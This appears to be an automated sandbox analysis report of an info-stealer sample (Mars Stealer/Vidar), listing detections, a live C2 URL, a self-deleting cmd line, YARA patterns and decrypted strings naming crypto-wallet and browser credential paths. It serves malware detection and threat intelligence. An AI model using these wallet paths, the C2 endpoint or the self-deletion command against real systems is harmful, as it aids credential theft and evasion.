Edit tour

Windows Analysis Report
Uin5FyPXbS.exe

Overview

General Information

Sample name:	Uin5FyPXbS.exe renamed because original name is a hash value
Original sample name:	538cc587125f738ae81e2e4fe28c0084.exe
Analysis ID:	1411502
MD5:	538cc587125f738ae81e2e4fe28c0084
SHA1:	7aa3c65496b968c3641b7d7db1849ad4715053d6
SHA256:	319b8b4f833b7a319dae6c6ff148d0ec75f83ac6f031678a54ab31a5ab360c39
Tags:	ArkeiStealerexe
Infos:

Detection

Mars Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found C&C like URL pattern

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

PE file has nameless sections

Sample uses string decryption to hide its real strings

Self deletion via cmd or bat file

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Uin5FyPXbS.exe (PID: 6728 cmdline: "C:\Users\user\Desktop\Uin5FyPXbS.exe" MD5: 538CC587125F738AE81E2E4FE28C0084)

cmd.exe (PID: 7116 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5172 cmdline: timeout /t 5 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Mars Stealer

{"C2 url": "couriercare.in/18/gate.php"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Uin5FyPXbS.exe	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1651174979.000000000043C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4520:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B
00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1607822276.000000000043C000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xcea0:$a2: wallet.dat 0xd6c8:$b1: CC\%s_%s.txt 0xdce0:$b2: History\%s_%s.txt 0xde00:$b3: Autofill\%s_%s.txt
Process Memory Space: Uin5FyPXbS.exe PID: 6728	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Uin5FyPXbS.exe PID: 6728	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Uin5FyPXbS.exe PID: 6728	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x2cae:$a2: wallet.dat 0x2cbb:$a2: wallet.dat 0x32dd:$b1: CC\%s_%s.txt 0x3761:$b2: History\%s_%s.txt 0x382f:$b3: Autofill\%s_%s.txt
decrypted.memstr	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x14dc:$a2: wallet.dat 0x3a15:$b1: CC\%s_%s.txt 0x3b67:$b2: History\%s_%s.txt 0x3999:$b3: Autofill\%s_%s.txt
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Uin5FyPXbS.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.Uin5FyPXbS.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.Uin5FyPXbS.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.Uin5FyPXbS.exe.400000.0.unpack	Windows_Trojan_ArkeiStealer_84c7086a	unknown	unknown	0x4920:$a: 01 89 55 F4 8B 45 F4 3B 45 10 73 31 8B 4D 08 03 4D F4 0F BE 19 8B

Snort Signatures

ET TROJAN Trojan Generic - POST To gate.php with no accept headers - Source IP: 192.168.2.4 - Destination IP: 192.187.112.99

Timestamp:	03/19/24-08:56:55.187388
SID:	2022985
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Trojan Generic - POST To gate.php with no referer - Source IP: 192.168.2.4 - Destination IP: 192.187.112.99

Timestamp:	03/19/24-08:56:55.187388
SID:	2017930
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download - Source IP: 192.187.112.99 - Destination IP: 192.168.2.4

Timestamp:	03/19/24-08:56:53.114025
SID:	2036654
Source Port:	80
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.4 - Destination IP: 192.187.112.99

Timestamp:	03/19/24-08:56:52.630241
SID:	2022818
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Uin5FyPXbS.exe

Avira: detected

Antivirus detection for URL or domain

Source: couriercare.in/18/gate.php	Avira URL Cloud: Label: malware
Source: http://couriercare.in/18/gate.phpH	Avira URL Cloud: Label: malware
Source: http://couriercare.in/request	Avira URL Cloud: Label: malware
Source: http://couriercare.in/18/gate.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack

Malware Configuration Extractor: Mars Stealer {"C2 url": "couriercare.in/18/gate.php"}

Multi AV Scanner detection for domain / URL

Source: couriercare.in	Virustotal: Detection: 22%	Perma Link
Source: couriercare.in/18/gate.php	Virustotal: Detection: 18%	Perma Link
Source: http://couriercare.in/18/gate.php	Virustotal: Detection: 18%	Perma Link

Multi AV Scanner detection for submitted file

Source: Uin5FyPXbS.exe	ReversingLabs: Detection: 95%
Source: Uin5FyPXbS.exe	Virustotal: Detection: 81%			Perma Link

Machine Learning detection for sample

Source: Uin5FyPXbS.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Sleep
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: http://
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Default
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: open
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: .zip
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Tag:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Working Path:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Local Time:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Display Language:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Processor:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: OS:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Bit)
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Videocard:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PC name:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: User name:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Domain name:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MachineID:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GUID:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: system.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Wallets\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Ethereum
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: keystore
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Electrum
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Exodus
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: window-state.json
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: seed.seco
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: info.seco
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: default_wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: JAXX
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Atomic
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: 000003.log
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: LOCK
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: 0000*
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Binance
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Binance\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: app-store.json
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Coinomi
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: *.wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: *.config
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: memset
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: memcpy
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: user32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SetCurrentDirectoryA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateFileMappingA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MapViewOfFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: UnmapViewOfFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FileTimeToSystemTime
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetFileInformationByHandle
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetVersionExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateFileW
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateFileMappingW
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateThread
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HttpQueryInfoA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetSetOptionA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetSystemMetrics
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetWindowDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetCurrentHwProfileA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RegGetValueA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: StretchBlt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetObjectW
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetDIBits
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SaveDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateDIBSection
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: DeleteDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: RestoreDC
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: DsRoleGetPrimaryDomainInformation
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CryptUnprotectData
